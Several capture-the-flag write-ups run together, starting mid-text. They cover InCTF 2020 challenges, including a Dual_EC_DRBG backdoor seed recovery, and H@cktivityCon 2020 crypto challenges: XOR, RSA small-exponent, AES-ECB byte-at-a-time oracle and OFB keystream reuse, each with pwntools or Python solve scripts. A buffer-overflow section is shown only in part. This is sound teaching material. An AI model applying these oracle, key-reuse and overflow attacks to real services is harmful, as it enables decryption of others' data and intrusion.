`dual_ec_drbg`.```pythonclass ecprng: # Curve P-256; source: https://safecurves.cr.yp.to/ p = 2**256 - 2**224 + 2**192 + 2**96 - 1 a = p-3 b = 41058363725152142129326129780047268409114441015993725554835256314039467401291 ec = ecc.CurveFp(p, a, b) _Px = 115113149114637566422228202471255745041343462839792246702200996638778690567225 _Py = 88701990415124583444630570378020746694390711248186320283617457322869078545663 Point_P = ecc.Point(ec, _Px, _Py) _Qx = 75498749949015782244392151836890161743686522667385613237212787867797557116642 _Qy = 19586975827802643945708711597046872561784179836880328844627665993398229124361 Point_Q = ecc.Point(ec, _Qx, _Qy) def __init__(self, seed): self.seed = seed if self.seed: assert len(long_to_bytes(self.seed)) == 32 def update_seed(self, intermediate_state_S_1): self.seed = (intermediate_state_S_1 * ecprng.Point_P).x() assert len(long_to_bytes(self.seed)) == 32 def ec_generate(self): intermediate_state_S_1 = (self.seed * ecprng.Point_P).x() self.update_seed(intermediate_state_S_1) r_1 = long_to_bytes((intermediate_state_S_1 * ecprng.Point_Q).x())[-30:] r_2 = long_to_bytes((self.seed * ecprng.Point_Q).x())[-30:][:2] assert len(r_1 + r_2) == 32 print("seed == ", self.seed) return bytes_to_long(r_1 + r_2)```so, `random_number` `e` is generated using `dual_ec_drbg` with `P-256` curve.we can predict the `next state` of the generator if author has inserted a backdoor into the generator.See the video from `David Wong` for an excellent explanation about the backdoor [link](https://www.youtube.com/watch?v=OkiVN6z60lg). so, generator state consists of two points and seed.To generate a random number- s1 = (seed * P).x()- random_number = (s1 * Q).x() & ((1 << 240) - 1) ; (lower 240 bits)- seed = (s1 * P).x() generator follows this above procedure to calculate a single random number.One who decides the points `P` and `Q` has the ability to insert a `backdoor` into the `generator` which will allow him to `predict` the `future states` of `generator` given a `single random number`generated and little other information.The way one can do it is, ```if Q = c * P (c can be any number)given random_number = (s1 * Q).x() lifting the random_number gives the value of (s1 * Q) multiplying the value of (s1 * Q) with the inverse(c, order) and take the x co-ordinate of the result gives the seed.``````cinv * (s1 * Q) = cinv * s1 * c * P = s1 * P = seed```After obtaining the `seed`, one can generate all the future states. There are little changes in the implementation of `dual_ec_drbg` in this challenge. For the points used in this challenge, `Q = 1735 * P`.backdoor exists in this generator. Normally, top `16 bits` of the `random number` i.e `(s1 * Q).x()` are removed, we have to use another `random number` to filter out the wrong ones but in this challenge we are given with additional information in the form of `r2`, we can use that to filter.So, we only need single `e`, after that we can predict all the future states. Final solution is- obtain a value of e by selecting the 1 option(`Asynchronous SchnorrID`)- bruteforce the top `16 bits` and find the `seed`- select option 2, predict the value of e, pass the check using above mentioned method - get the `flag` solution code :: [solve.sage](/Inctfi-2020/EaCy/solve.sage) FLAG :: inctf{Ev3ry_wa11_1s_4_d00r_but_7his_1s_4_D0ubl3_d0or}
# InCTF 2020 : DLPoly **category** : crypto **points** : 676 ## write-up ```pythonP.<x> = PolynomialRing(Zmod(p))Q.<x> = QuotientRing(P, P.ideal(n))g = xprint(bsgs(g, gX, (0, 2 ^ 56), operation='*'))``` Use sagemath `bsgs` ( baby step giant step ) to brute force discrete logarithm. But may run out of memory. I split it into 1024 sections and run each section paralleling using 8 core. See `a.sh` and `b.sh` and `solve.sage` for details. And then found that the length of flag is only 13 !?? The description also say something about RSA? And I found that `n` has many small factor. But I got the flag before I reimplementing pohlig hellman algorithm. ## flag `inctf{bingo!}` # other write-ups and resources
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing 